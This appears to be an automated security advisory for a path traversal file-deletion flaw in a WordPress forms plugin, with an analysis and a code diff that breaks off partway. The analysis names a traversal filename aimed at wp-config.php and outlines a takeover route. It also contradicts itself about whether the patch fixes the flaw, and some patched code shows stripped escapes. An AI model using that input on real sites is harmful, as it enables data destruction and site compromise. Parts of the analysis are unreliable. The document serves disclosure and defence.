Published : November 24, 2026

CVE-2026-130010: Chatterbug Forms <= 1.1 Unauthenticated Arbitrary File Deletion via Content-Disposition 'filename=' PoC, Patch Analysis & Rule

Severity High (CVSS 8.1)
CWE 22
Vulnerable Version 1.1
Patched Version 1.2
Disclosed November 18, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-130010: The Chatterbug Forms WordPress plugin (versions <= 1.1) contains an unauthenticated arbitrary file deletion vulnerability in the cbforms_delete_uploaded_files function. This function fails to properly validate file paths, allowing attackers to delete arbitrary files on the server. The CVSS score is 8.1 (High), and the CWE is 22 (Path Traversal).

The root cause lies in the cbforms_delete_uploaded_files function, which processes uploaded files and constructs file paths from user-supplied data. When an administrator deletes a form entry, the plugin iterates over the uploaded files and calls unlink() on paths derived from the Content-Disposition 'filename=' parameter without sufficient validation. The vulnerable code path is triggered via the cbforms_check_form_submissions function (line 319) and the file handling logic around lines 392-445 in chatterbug-forms.php. The patch adds checks to unset $_FILES and set error flags when the upload path is invalid or file validation fails, but does not directly address the path traversal in deletion. However, the patch also hardens the upload directory protection in cbforms-install.php and refactors cbforms-util.php, indicating a broader security fix.

Exploitation requires an administrator to delete a form entry containing a maliciously crafted file path. An attacker can submit a form with a file upload field, manipulating the filename to include directory traversal sequences (e.g., '../../wp-config.php'). The filename is stored in the entry metadata. When the admin deletes the entry, the plugin calls unlink() on the constructed path, deleting the targeted file. The attacker must know or guess the absolute path of a writable file. This two-step attack (planting entry, admin deletion) makes it unauthenticated from the attacker's perspective but requires admin interaction to trigger deletion.

The patch (version 1.2) introduces several changes: In chatterbug-forms.php, it adds error handling for invalid upload paths and file validation failures (lines 392-445), setting $_FILES error flags and clearing full_path. This prevents malicious filenames from being stored. In cbforms-install.php, it uses WP_Filesystem for directory operations and file writing, and properly checks permissions. In cbforms-util.php, major refactoring improves input sanitization and validation. These changes collectively mitigate the vulnerability by ensuring only valid, sanitized file paths are processed and stored, and by hardening the upload directory against direct access.

Successful exploitation allows deletion of arbitrary files writable by the PHP process, including wp-config.php. Deleting wp-config.php can lead to remote code execution by allowing an attacker to trigger the WordPress installation process and create a new admin account. Other critical files like .htaccess or plugin files could also be deleted, causing site downtime or bypassing security controls. The impact is severe, potentially leading to full site compromise.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/chatterbug-forms/chatterbug-forms.php
+++ b/chatterbug-forms/chatterbug-forms.php
@@ -3,7 +3,7 @@
 Plugin Name: Chatterbug Forms
 Plugin URI: https://www.chatterbugforms.com/
 Description: Chatterbug Forms Plugin is the best way to create online forms and share them on multiple sites. Easy drag and drop and, With reCAPTCHA, nonce tokens and Honeypot features your form has the best protection from spammers. To get started: activate the chatterbug Forms Plugin and then go to the Plugin dashboard and connect it to WP.ChatterbugForms.com.
-Version: 1.1
+Version: 1.2
 Author: Sam Gazal
 Author URI: https://profiles.wordpress.org/sameh101/
 License: GPLv2 or later
@@ -319,8 +319,8 @@



-
-
+
+
 add_action('init', 'cbforms_check_form_submissions');

 function cbforms_check_form_submissions($query)
@@ -392,6 +392,9 @@
 				$cbforms_upload_url = $cbforms_upload_dir['baseurl'] . '/cbforms_uploads';
 				if (!file_exists($cbforms_upload_path)) {
 					if (!cbforms_create_directory($cbforms_upload_path)) {
+						$_FILES=[];
+						$GLOBALS['cbforms_msg'] = 'Unable to upload files to the server. Upload path does not exist.';
+
 					}
 				}

@@ -412,6 +415,8 @@
 							$filefieldid = wp_kses_post($cbforms_settings['files'][$fieldname]);
 							if (!cbforms_allowedfile(wp_kses_post($fieldname), wp_kses_post($filename),  wp_kses_post($files['tmp_name'][$fileindex]), wp_kses_post($fileindex), wp_kses_post($cbforms_settings['files'][$filefieldid]['size']), wp_kses_post($cbforms_settings['files'][$filefieldid]['type']), $cbforms_blocked_extensions)) {
 								$filecheckfailed = true;
+								$_FILES[$fieldname]['full_path'][$fileindex] = '';
+								$_FILES[$fieldname]['error'][$fileindex] = 1;
 							} else {
 								if ($filename != '') {
 									if ($files['error'][$fileindex] == 0) {
@@ -440,6 +445,9 @@
 								}
 							}
 							$_FILES[$fieldname]['temp_name'][$fileindex] = '';
+						} else {
+							$_FILES[$fieldname]['full_path'][$fileindex] = '';
+							$_FILES[$fieldname]['error'][$fileindex] = 1;
 						}
 					}
 				}
@@ -537,9 +545,6 @@
 	if (empty($check['type']) || empty($check['ext'])) {
 		return false;
 	}
-
-
-
 	if (($sizelimit == '0' or $sizelimit == '') && (!empty($_FILES[$fieldname]['size'][$fileindex]))) {
 		$sizelimit = wp_kses_post(wp_unslash($_FILES[$fieldname]['size'][$fileindex]));
 	} else {
@@ -551,7 +556,7 @@
 	}

 	$filetype = substr($filename, strripos($filename, "."));
-	if (trim($typelimit == '') || trim($typelimit == '.') ) {
+	if (trim($typelimit == '') || trim($typelimit == '.')) {
 		$typelimit = $filetype;
 	}
 	if (in_array(strtolower($filetype), $cbforms_blocked_extensions, true)) {
--- a/chatterbug-forms/forms/forms.php
+++ b/chatterbug-forms/forms/forms.php
@@ -1,176 +1,350 @@
-<?php
-
-if ( ! defined( 'ABSPATH' ) ) exit;
-
-global $table_prefix, $wpdb;
-$errormsg='';
-if (!empty($_REQUEST['importform'])  or !empty($_REQUEST['refreshform'])) {
-    if (!empty($_REQUEST['cbformsnonce']) && wp_verify_nonce(wp_kses_post(wp_unslash($_REQUEST['cbformsnonce'])), 'cbforms')) {
-
-        $formid = ($_REQUEST['importform'] != '') ? wp_kses_post(wp_unslash($_REQUEST['importform'])) : wp_kses_post(wp_unslash($_REQUEST['refreshform']));
-        $result = cbforms_import_form($formid, $formmeta);
-        if ($formmeta['status'] != 'completed') {
-            $errormsg= 'Unable to import this form - ' . wp_kses_post($formmeta['status'] . ' - ' .  $formmeta['msg']);
-        } else {
-
-            $formhtml = $formmeta['html'];
-            $formrawhtml = $formmeta['rawhtml'];
-            $formname = $formmeta['formname'];
-            $formsettings = json_decode(cbforms_stripslashes($formmeta['settings']), true);
-            $formsettings[9] = [];
-            $formsettings[14] = '1';
-            $formsettings[17] = 'center';
-            $globalsettings = cbforms_getoption('cbforms-globalsettings', '{}');
-            $globalsettingsarray = json_decode(cbforms_stripslashes($globalsettings), true);
-            $formsettings[5][5] = '';
-            $formsettings[5][6] = $formsettings[5][4];
-            $formsettings[5][7] = '';
-            $formsettings[8][1] = '';
-            $formsettings[12][0] = $globalsettingsarray[1][0];
-            $formsettings[12][1] = $globalsettingsarray[1][1];
-            $formsettings[12][2] = $globalsettingsarray[1][2];
-            $formsettings[12][3] = $globalsettingsarray[1][3];
-            $formsettings[12][4] = false;
-
-            $formsettingsarray = $formsettings;
-            $tablename = $wpdb->prefix . 'cbforms_forms';
-            if (!empty($_REQUEST['refreshform'])) {
-                $formsettingsstring = $wpdb->get_var($wpdb->prepare("select form_settings from {$tablename} where form_id = %s", $formid));
-                $currentformsettings = json_decode(cbforms_stripslashes($formsettingsstring), true);
-                $currentformsettings['files'] = $formsettings['files'];
-                $formsettingsarray = $currentformsettings;
-            }
-
-            $formsettings = json_encode($formsettingsarray);
-            $status = $wpdb->insert($tablename, array(
-                'form_id' => $formid,
-                'form_settings' => $formsettings,
-                'form_raw_html' => $formrawhtml,
-                'form_html' => $formhtml,
-                'form_status' => '1',
-                'form_name' => $formname,
-                'import_date' => current_time('mysql')
-            ), ['%s', '%s', '%s', '%s', '%s', '%s', '%s']);
-
-            $status = $wpdb->update($tablename, array('form_html' => $formhtml, 'form_raw_html' => $formrawhtml, 'form_settings' => $formsettings, 'form_name' => $formname, 'form_status' => '1'), array('form_id' => $formid), ['%s', '%s', '%s', '%s', '%s'], ['%s']);
-            $formhtml = $wpdb->get_var($wpdb->prepare("select form_raw_html from {$tablename} where form_id = %s;", $formid));
-            cbforms_generateformhtml($formsettingsarray, $formhtml,);
-            $status = $wpdb->update($tablename, array('form_html' => $formhtml, 'form_settings' => $formsettings, 'form_status' => $formsettingsarray[14], 'form_name' => $formsettingsarray[1][1]), array('form_id' => $formid), ['%s', '%s', '%s', '%s'], ['%s']);
-        }
-    }
-}
-
-
-if (!empty($_REQUEST['method']) && $_REQUEST['method'] == 'deletelocalform') {
-    if (!empty($_POST['cbformsnonce']) && !empty($_REQUEST['cbforms-formid']) && wp_verify_nonce(wp_kses_post(wp_unslash($_POST['cbformsnonce'])), 'cbforms-deletelocalform')) {
-
-
-        $entriestablename = $table_prefix . 'cbforms_entries';
-        $entriescount = $wpdb->get_var($wpdb->prepare("select count(id) as numberofentries from {$entriestablename} where form_id = %s", wp_kses_post(wp_unslash($_REQUEST['cbforms-formid']))));
-        if ($entriescount > 0) {
-            $errormsg='Can not delete the form '. wp_kses_post(wp_unslash($_REQUEST['cbforms-formid'])) .' because it has entries. Please delete all the form entries then try again';
-
-        } else {
-            $tablename = $table_prefix . 'cbforms_forms';
-            $status = $wpdb->delete($tablename, array('form_id' =>  wp_kses_post(wp_unslash($_REQUEST['cbforms-formid']))), ['%s']);
-        }
-    }
-}
-
-$settingsrows = $wpdb->get_results($wpdb->prepare("select form_id, form_name, form_status, import_date from {$table_prefix}cbforms_forms"));
-?>
-
-<div class="optionpagewrapper cbforms forms">
-    <div style="display:block;background-color:#dce5f7;padding:20px 75px;">
-        <img src="<?php echo esc_url(site_url()) . '/wp-content/plugins/chatterbug-forms/assets/img/wpcbf-logo.svg'; ?>" style="height:53px;" alt="ChatterbugForms logo">
-    </div>
-    <h2 style="text-align: left;justify-content:left;">Forms</h2>
-    <div class="cbforms-nav">
-
-        <?php
-        if (substr(cbforms_getoption('cbforms-sitekey', 'sign in to get the site key'), 0, 5) == 'cbfp-') {
-            echo '<div class="buttonwithttotip">
-           <div class="underlined-button-div">
-           <button class="  cbformsbtn" type="button" action="importform" onclick="cbforms_getformlist();">Import from WP.ChatterbugForms.com</button>
-           <div class="button-underline"></div>
-           <span class="tooltiptext">This will import the form design and settings from WP.ChatterbugForms.com. If the form already exists in the plugin, the import will overwrite any changes made in the plugin.
-           If the form exists in the plugin and you want only to import design changes, and preserve any changes made in the plugin, you need to edit the form in the plugin and click "Refresh Form Design."</span>
-           </div>
-           </div>';
-        } else {
-            echo '<button class="  cbformsbtn" type="button" action="importform" onclick="alert(' . "'Please connect the plugin to WP.ChatterbugForms.com in the plugin Dashboard'" . ');">Import from WP.ChatterbugForms.com</button>';
-        }
-        ?>
-        <div class="buttonwithttotip">
-            <div class="underlined-button-div">
-                <button class="createnewformbtn cbformsbtn-orange" type="button" action="addnewform">Create a new form</button>
-                <div class="button-underline"></div>
-                <span class="tooltiptext">This will take you to WP.ChatterbugForms.com to create a new form. Create new design in WP.ChatterbugForms.com then import the form into the plugin.</span>
-            </div>
-        </div>
-
-    </div>
-
-    <div class="cbformshorizontalline"></div>
-    <?php
-if($errormsg != ''){
-    echo '<div style="color:red;">'  . wp_kses_post($errormsg) .'</div>';
-}
-    ?>
-    <div class="cbforms-header">
-        <div class="cbforms-formname" style="display:flex;">
-            <h3>Form</h3>
-        </div>
-        <div class="cbforms-status" style="display:flex;">
-            <h3>Status</h3>
-        </div>
-
-        <div class="cbforms-shortcode" style="display:flex;">
-            <h3>Shortcode</h3>
-        </div>
-        <div class="cbforms-importdate" style="display:flex;">
-            <h3>Import Date</h3>
-        </div>
-    </div>
-    <div class="formlistwrapper">
-        <?php foreach ($settingsrows as $settingsrow) {
-        ?>
-            <div id="cbforms-formlistrow" class="row cbforms-formlistrow">
-                <div class="cbforms-formname"><a href="admin.php?page=cbforms_forms_settings&cbforms_nonce=<?php echo wp_kses_post(wp_create_nonce('cbforms')); ?>&action=editform&formid=<?php echo wp_kses_post($settingsrow->form_id) ?>"><?php echo ($settingsrow->form_name == '') ? '- -  -' : wp_kses_post($settingsrow->form_name); ?></a></div>
-                <div class="cbforms-status cbforms-<?php echo ($settingsrow->form_status) ? 'enabled' : 'disabled'; ?>"><?php echo ($settingsrow->form_status) ? 'Enabled' : 'Disabled'; ?></div>
-                <div class="cbforms-shortcode selectable">[chatterbugforms formid=<?php echo wp_kses_post($settingsrow->form_id) ?>]<span onclick="cbforms_copyshortcode(this);" shortcode="[chatterbugforms formid=<?php echo wp_kses_post($settingsrow->form_id) ?>]" class="shortcodeicon dashicons dashicons-admin-page"><span class="tooltip">copy</span></span></div>
-                <div class="cbforms-importdate"><?php echo wp_kses_post(substr($settingsrow->import_date, 0, 10)); ?></div>
-
-            </div>
-        <?php
-        }
-        ?>
-    </div>
-    <div class="cbforms-modalimportform">
-
-
-        <div id="loading">Loading...</div>
-        <div id="formimportmodalblock">
-
-            <label id="cbformsformlistlabel" style="display:block;">Choose a Form (only published forms will appear on this list):</label>
-
-            <select name="cbformslist" id="cbformslist">
-
-            </select>
-
-
-
-            <button class="importformbtn cbformsbtn">Import Form</button>
-
-
-        </div>
-        <div class="closemodalbtn "><span class="material-symbols-outlined" style="font-size:40px;">cancel</span></div>
-    </div>
-    <input id="cbforms-nonce" type="text" hidden="hidden" value="<?php echo wp_kses_post(wp_create_nonce('cbforms')); ?>">
-    <input id="cbforms-siteurl" type="text" hidden="hidden" value="<?php echo wp_kses_post(site_url()); ?>">
-    <input id="cbforms-ajax-url" type="text" hidden="hidden" value="<?php echo wp_kses_post(admin_url('admin-ajax.php')); ?>">
-    <a href="https://www.buymeacoffee.com/samgazal" class="chatterbug-support-btn" target="_blank"><img src="https://cdn.buymeacoffee.com/buttons/v2/default-red.png" alt="Buy Me A Coffee" style="height: 40px !important;width: 150px !important;" ></a>
-</div>
-
-
+<?php
+
+
+
+if ( ! defined( 'ABSPATH' ) ) exit;
+
+
+
+global $table_prefix, $wpdb;
+
+$errormsg='';
+
+if (!empty($_REQUEST['importform'])  or !empty($_REQUEST['refreshform'])) {
+
+    if (!empty($_REQUEST['cbformsnonce']) && wp_verify_nonce(wp_kses_post(wp_unslash($_REQUEST['cbformsnonce'])), 'cbforms')) {
+
+
+
+        $formid = ($_REQUEST['importform'] != '') ? wp_kses_post(wp_unslash($_REQUEST['importform'])) : wp_kses_post(wp_unslash($_REQUEST['refreshform']));
+
+        $result = cbforms_import_form($formid, $formmeta);
+
+        if ($formmeta['status'] != 'completed') {
+
+            $errormsg= 'Unable to import this form - ' . wp_kses_post($formmeta['status'] . ' - ' .  $formmeta['msg']);
+
+        } else {
+
+
+
+            $formhtml = $formmeta['html'];
+
+            $formrawhtml = $formmeta['rawhtml'];
+
+            $formname = $formmeta['formname'];
+
+            $formsettings = json_decode(cbforms_stripslashes($formmeta['settings']), true);
+
+            $formsettings[9] = [];
+
+            $formsettings[14] = '1';
+
+            $formsettings[17] = 'center';
+
+            $globalsettings = cbforms_getoption('cbforms-globalsettings', '{}');
+
+            $globalsettingsarray = json_decode(cbforms_stripslashes($globalsettings), true);
+
+            $formsettings[5][5] = '';
+
+            $formsettings[5][6] = $formsettings[5][4];
+
+            $formsettings[5][7] = '';
+
+            $formsettings[8][1] = '';
+
+            $formsettings[12][0] = $globalsettingsarray[1][0];
+
+            $formsettings[12][1] = $globalsettingsarray[1][1];
+
+            $formsettings[12][2] = $globalsettingsarray[1][2];
+
+            $formsettings[12][3] = $globalsettingsarray[1][3];
+
+            $formsettings[12][4] = false;
+
+
+
+            $formsettingsarray = $formsettings;
+
+            $tablename = $wpdb->prefix . 'cbforms_forms';
+
+            if (!empty($_REQUEST['refreshform'])) {
+
+                $formsettingsstring = $wpdb->get_var($wpdb->prepare("select form_settings from {$tablename} where form_id = %s", $formid));
+
+                $currentformsettings = json_decode(cbforms_stripslashes($formsettingsstring), true);
+
+                $currentformsettings['files'] = $formsettings['files'];
+
+                $formsettingsarray = $currentformsettings;
+
+            }
+
+
+
+            $formsettings = json_encode($formsettingsarray);
+
+            $status = $wpdb->insert($tablename, array(
+
+                'form_id' => $formid,
+
+                'form_settings' => $formsettings,
+
+                'form_raw_html' => $formrawhtml,
+
+                'form_html' => $formhtml,
+
+                'form_status' => '1',
+
+                'form_name' => $formname,
+
+                'import_date' => current_time('mysql')
+
+            ), ['%s', '%s', '%s', '%s', '%s', '%s', '%s']);
+
+
+
+            $status = $wpdb->update($tablename, array('form_html' => $formhtml, 'form_raw_html' => $formrawhtml, 'form_settings' => $formsettings, 'form_name' => $formname, 'form_status' => '1'), array('form_id' => $formid), ['%s', '%s', '%s', '%s', '%s'], ['%s']);
+
+            $formhtml = $wpdb->get_var($wpdb->prepare("select form_raw_html from {$tablename} where form_id = %s;", $formid));
+
+            cbforms_generateformhtml($formsettingsarray, $formhtml,);
+
+            $status = $wpdb->update($tablename, array('form_html' => $formhtml, 'form_settings' => $formsettings, 'form_status' => $formsettingsarray[14], 'form_name' => $formsettingsarray[1][1]), array('form_id' => $formid), ['%s', '%s', '%s', '%s'], ['%s']);
+
+        }
+
+    }
+
+}
+
+
+
+
+
+if (!empty($_REQUEST['method']) && $_REQUEST['method'] == 'deletelocalform') {
+
+    if (!empty($_POST['cbformsnonce']) && !empty($_REQUEST['cbforms-formid']) && wp_verify_nonce(wp_kses_post(wp_unslash($_POST['cbformsnonce'])), 'cbforms-deletelocalform')) {
+
+
+
+
+
+        $entriestablename = $table_prefix . 'cbforms_entries';
+
+        $entriescount = $wpdb->get_var($wpdb->prepare("select count(id) as numberofentries from {$entriestablename} where form_id = %s", wp_kses_post(wp_unslash($_REQUEST['cbforms-formid']))));
+
+        if ($entriescount > 0) {
+
+            $errormsg='Can not delete the form '. wp_kses_post(wp_unslash($_REQUEST['cbforms-formid'])) .' because it has entries. Please delete all the form entries then try again';
+
+
+
+        } else {
+
+            $tablename = $table_prefix . 'cbforms_forms';
+
+            $status = $wpdb->delete($tablename, array('form_id' =>  wp_kses_post(wp_unslash($_REQUEST['cbforms-formid']))), ['%s']);
+
+        }
+
+    }
+
+}
+
+
+
+$settingsrows = $wpdb->get_results($wpdb->prepare("select form_id, form_name, form_status, import_date from {$table_prefix}cbforms_forms"));
+
+?>
+
+
+
+<div class="optionpagewrapper cbforms forms">
+
+    <div style="display:block;background-color:#dce5f7;padding:20px 75px;">
+
+        <img src="<?php echo esc_url(site_url()) . '/wp-content/plugins/chatterbug-forms/assets/img/wpcbf-logo.svg'; ?>" style="height:53px;" alt="ChatterbugForms logo">
+
+    </div>
+
+    <h2 style="text-align: left;justify-content:left;">Forms</h2>
+
+    <div class="cbforms-nav">
+
+
+
+        <?php
+
+        if (substr(cbforms_getoption('cbforms-sitekey', 'sign in to get the site key'), 0, 5) == 'cbfp-') {
+
+            echo '<div class="buttonwithttotip">
+
+           <div class="underlined-button-div">
+
+           <button class="  cbformsbtn" type="button" action="importform" onclick="cbforms_getformlist();">Import from WP.ChatterbugForms.com</button>
+
+           <div class="button-underline"></div>
+
+           <span class="tooltiptext">This will import the form design and settings from WP.ChatterbugForms.com. If the form already exists in the plugin, the import will overwrite any changes made in the plugin.
+
+           If the form exists in the plugin and you want only to import design changes, and preserve any changes made in the plugin, you need to edit the form in the plugin and click "Refresh Form Design."</span>
+
+           </div>
+
+           </div>';
+
+        } else {
+
+            echo '<button class="  cbformsbtn" type="button" action="importform" onclick="alert(' . "'Please connect the plugin to WP.ChatterbugForms.com in the plugin Dashboard'" . ');">Import from WP.ChatterbugForms.com</button>';
+
+        }
+
+        ?>
+
+        <div class="buttonwithttotip">
+
+            <div class="underlined-button-div">
+
+                <button class="createnewformbtn cbformsbtn-orange" type="button" action="addnewform">Create a new form</button>
+
+                <div class="button-underline"></div>
+
+                <span class="tooltiptext">This will take you to WP.ChatterbugForms.com to create a new form. Create new design in WP.ChatterbugForms.com then import the form into the plugin.</span>
+
+            </div>
+
+        </div>
+
+
+
+    </div>
+
+
+
+    <div class="cbformshorizontalline"></div>
+
+    <?php
+
+if($errormsg != ''){
+
+    echo '<div style="color:red;">'  . wp_kses_post($errormsg) .'</div>';
+
+}
+
+    ?>
+
+    <div class="cbforms-header">
+
+        <div class="cbforms-formname" style="display:flex;">
+
+            <h3>Form</h3>
+
+        </div>
+
+        <div class="cbforms-status" style="display:flex;">
+
+            <h3>Status</h3>
+
+        </div>
+
+
+
+        <div class="cbforms-shortcode" style="display:flex;">
+
+            <h3>Shortcode</h3>
+
+        </div>
+
+        <div class="cbforms-importdate" style="display:flex;">
+
+            <h3>Import Date</h3>
+
+        </div>
+
+    </div>
+
+    <div class="formlistwrapper">
+
+        <?php foreach ($settingsrows as $settingsrow) {
+
+        ?>
+
+            <div id="cbforms-formlistrow" class="row cbforms-formlistrow">
+
+                <div class="cbforms-formname"><a href="admin.php?page=cbforms_forms_settings&cbforms_nonce=<?php echo wp_kses_post(wp_create_nonce('cbforms')); ?>&action=editform&formid=<?php echo wp_kses_post($settingsrow->form_id) ?>"><?php echo ($settingsrow->form_name == '') ? '- -  -' : wp_kses_post($settingsrow->form_name); ?></a></div>
+
+                <div class="cbforms-status cbforms-<?php echo ($settingsrow->form_status) ? 'enabled' : 'disabled'; ?>"><?php echo ($settingsrow->form_status) ? 'Enabled' : 'Disabled'; ?></div>
+
+                <div class="cbforms-shortcode selectable">[chatterbugforms formid=<?php echo wp_kses_post($settingsrow->form_id) ?>]<span onclick="cbforms_copyshortcode(this);" shortcode="[chatterbugforms formid=<?php echo wp_kses_post($settingsrow->form_id) ?>]" class="shortcodeicon dashicons dashicons-admin-page"><span class="tooltip">copy</span></span></div>
+
+                <div class="cbforms-importdate"><?php echo wp_kses_post(substr($settingsrow->import_date, 0, 10)); ?></div>
+
+
+
+            </div>
+
+        <?php
+
+        }
+
+        ?>
+
+    </div>
+
+    <div class="cbforms-modalimportform">
+
+
+
+
+
+        <div id="loading">Loading...</div>
+
+        <div id="formimportmodalblock">
+
+
+
+            <label id="cbformsformlistlabel" style="display:block;">Choose a Form (only published forms will appear on this list):</label>
+
+
+
+            <select name="cbformslist" id="cbformslist">
+
+
+
+            </select>
+
+
+
+
+
+
+
+            <button class="importformbtn cbformsbtn">Import Form</button>
+
+
+
+
+
+        </div>
+
+        <div class="closemodalbtn "><span class="material-symbols-outlined" style="font-size:40px;">cancel</span></div>
+
+    </div>
+
+    <input id="cbforms-nonce" type="text" hidden="hidden" value="<?php echo wp_kses_post(wp_create_nonce('cbforms')); ?>">
+
+    <input id="cbforms-siteurl" type="text" hidden="hidden" value="<?php echo wp_kses_post(site_url()); ?>">
+
+    <input id="cbforms-ajax-url" type="text" hidden="hidden" value="<?php echo wp_kses_post(admin_url('admin-ajax.php')); ?>">
+
+
+</div>
+
+
+
+
+

 No newline at end of file
--- a/chatterbug-forms/inc/cbforms-install.php
+++ b/chatterbug-forms/inc/cbforms-install.php
@@ -331,6 +331,7 @@
 function cbforms_protect_upload_directory()
 {

+    global $wp_filesystem;
     $upload_dir = wp_upload_dir();

     $directory = $upload_dir['basedir'] . '/cbforms_uploads';
@@ -340,33 +341,35 @@
         wp_mkdir_p($directory);
     }

-    if (!is_dir($directory) || !is_writable($directory)) {
+    if (!WP_Filesystem()) {
+        return false;
+    }
+    if (!is_dir($directory) || !$wp_filesystem->is_writable($directory)) {
         return false;
     }

-    $htaccess_file = $directory . '/.htaccess';
-
-    // Don't overwrite an existing protection file.
-    if (!file_exists($htaccess_file)) {
-
-        $rules = <<<HTACCESS
-# Chatterbug Forms - Disable executable files
-
-<FilesMatch ".(php[0-9]?|phtml|pht|phar|cgi|pl|py|sh)$">
-    Require all denied
-</FilesMatch>
+    $htaccess_file = $directory . '/.htaccess';
+    if (!function_exists('WP_Filesystem')) {
+        require_once ABSPATH . 'wp-admin/includes/file.php';
+    }

-<FilesMatch "^.">
-    Require all denied
-</FilesMatch>
+    global $wp_filesystem;

-Options -ExecCGI
+    if (WP_Filesystem() && !$wp_filesystem->exists($htaccess_file)) {

-Options -Indexes
-HTACCESS;
+        $rules = "# Chatterbug Forms - Disable executable filesnn";
+        $rules .= "<FilesMatch "\.(php[0-9]?|phtml|pht|phar|cgi|pl|py|sh)$">n";
+        $rules .= "    Require all deniedn";
+        $rules .= "</FilesMatch>nn";
+        $rules .= "<FilesMatch "^\.">n";
+        $rules .= "    Require all deniedn";
+        $rules .= "</FilesMatch>nn";
+        $rules .= "Options -ExecCGInn";
+        $rules .= "Options -Indexesn";

-        file_put_contents($htaccess_file, $rules . PHP_EOL, LOCK_EX);
+        $wp_filesystem->put_contents($htaccess_file, $rules, FS_CHMOD_FILE);
     }

+
     return file_exists($htaccess_file);
 }
--- a/chatterbug-forms/inc/cbforms-util.php
+++ b/chatterbug-forms/inc/cbforms-util.php
@@ -1,491 +1,1005 @@
-<?php
-   if ( ! defined( 'ABSPATH' ) ) exit;
-
-function cbforms_getpluginstatus($userid, $sitekey, &$dashboardtext)
-{
-
-    if (substr($sitekey, 0, 5) == 'cbfp-') {
-        $dashboardtext = '';
-        return true;
-    } else {
-
-        $dashboardtext = 'notconnected';
-    }
-    return false;
-}
-
-function cbforms_addupdateoption($option, $value)
-{
-    $status = update_option($option,$value);
-    return $status;
-}
-
-function cbforms_getoption($option, $default)
-{
-    $value = get_option($option, $default);
-    return $value;
-}
-
-
-function cbforms_deleteoption($option)
-{
-
-    $status = delete_option($option);
-    return $status;
-}
-
-
-
-function cbforms_CallAPI(  $method ,$url, $data,&$headers, &$body ) {
-    $args = [
-        'timeout'     => 20, // Adjust timeout if needed
-        'redirection' => 5,
-        'blocking'    => true,
-        'sslverify'   => false, // Set to true for better security
-        'httpversion' => '1.1',
-        'headers'     => [
-            'Authorization' => 'Basic ' . base64_encode( 'username1:password1' ),
-            'Origin'        => esc_url( site_url() ), // Ensuring the Origin header is included
-        ],
-    ];
-
-    // If it's a POST request, include the body data
-    if ( strtoupper( $method ) === 'POST' ) {
-        $args['method'] = 'POST';
-        if ( $data ) {
-            $args['body'] = $data;
-        }
-    }
-
-    // Use wp_remote_get() for GET, wp_remote_post() for POST
-    $response = ( strtoupper( $method ) === 'POST' )
-        ? wp_remote_post( $url, $args )
-        : wp_remote_get( $url, $args );
-
-    if ( is_wp_error( $response ) ) {
-        return false;
-    }
-
-    // Get headers and body separately
-    $headers = wp_remote_retrieve_headers( $response );
-    $body = wp_remote_retrieve_body( $response );
-
-    return [
-        'headers' => $headers,
-        'body'    => $body,
-    ];
-
-
-}
-
-
-
-
-function cbforms_import_form($formid, &$formmeta)
-{
-
-
-    $url = "https://wp.chatterbugforms.com/wp/getwpformhtml.php";
-    cbforms_get_sitekey_from_db($apikey);
-    cbforms_get_userid_from_db($userid);
-    $timestamp = time();
-    $data = array('formid' => $formid, 'apikey' => $apikey, 'userid' => $userid, 'site' => esc_url(get_site_url()), 'time'=>$timestamp);
-
-
-    $results = cbforms_CallAPI('POST', $url, $data, $headerstr, $bodystr);
-    $formmeta = json_decode(cbforms_stripslashes($bodystr), true);
-    if (is_array($formmeta)) {
-        if ($formmeta['status'] == 'completed') {
-            return true;
-        }
-    }
-    return false;
-}
-
-
-function cbforms_get_apikey($userid, $pwd, &$apikey = '')
-{
-
-    $url = "https://wp.chatterbugforms.com/wp/getwpapikey.php";
-
-    $data = array('userid' => $userid, 'pwd' => $pwd, 'siteurl' => esc_url(get_site_url()), 'action' => 'getcbfpluginsitekey');
-    $results = cbforms_CallAPI('POST', $url, $data, $headerstr, $bodystr);
-    $result = json_decode(cbforms_stripslashes($bodystr), true);
-    if (is_array($result)) {
-        $apikey = $result['apikey'];
-        if ($result['status'] == 'completed') {
-            return true;
-        }
-    }
-    return false;
-}
-
-function cbforms_get_sitekey_from_db(&$apikey)
-{
-
-    $apikey = cbforms_getoption('cbforms-sitekey', 'Invalid Key - please connect to WP.ChatterbugForms.com');
-}
-
-
-function cbforms_get_userid_from_db(&$userid)
-{
-
-    $userid = cbforms_getoption('cbforms-userid', 'Invalid user id');
-}
-
-
-
-
-
-
-function cbforms_generateformhtml(&$formsettingsarray, &$formhtml)
-{
-
-
-
-    $formhtml = str_replace('cbf-form-classes', wp_kses_post($formsettingsarray[10][2]), $formhtml);
-
-
-    $settingsreplace = '';
-    if ($formsettingsarray[9][5] == '') {
-        $formsettingsarray[9][5] = '350';
-    }
-    if ($formsettingsarray[9][0] != '') {
-        $settingsreplace =  $settingsreplace . '<div class="formviewbannerdesktop"></div>';
-    }
-    if ($formsettingsarray[9][1] != '') {
-        $settingsreplace =  $settingsreplace . '<div class="formviewbannertablet"></div>';
-    }
-    if ($formsettingsarray[9][2] != '') {
-        $settingsreplace =  $settingsreplace . '<div class="formviewbannermobile"></div>';
-    }
-    $formhtml = str_replace('<cbforms<settingsarray-9.*>cbforms>', $settingsreplace, $formhtml);
-
-
-    $settingsreplace = '';
-    $settingsreplace =  $settingsreplace . '<div class="formviewtitlewrapper"><div class="formviewtitle"><' . htmlspecialchars($formsettingsarray[10][4], ENT_QUOTES, 'UTF-8') . '>' . htmlspecialchars($formsettingsarray[10][0], ENT_QUOTES, 'UTF-8') . '</' . htmlspecialchars($formsettingsarray[10][4], ENT_QUOTES, 'UTF-8') . '></div></div>';
-    if ($formsettingsarray[10][1] != '') {
-        $settingsreplace =  $settingsreplace . '<div class="formviewtitledescriptionwrapper"><div class="formviewtitledescription"><p>' . htmlspecialchars($formsettingsarray[10][1], ENT_QUOTES, 'UTF-8') . '</p></div></div>';
-    }
-    $formhtml = str_replace('<cbforms<settingsarray-10.*>cbforms>', $settingsreplace, $formhtml);
-
-
-    $globalsettings = cbforms_getoption('cbforms-globalsettings', '{}');
-    $globalsettingsarray = json_decode(cbforms_stripslashes($globalsettings), true);
-    $formsettingsarray[12][0] = $globalsettingsarray[1][0];
-    $formsettingsarray[12][1] = $globalsettingsarray[1][1];
-
-    if ($formsettingsarray[12][4] == 'yes') {
-        $captchadisplay = 'flex';
-
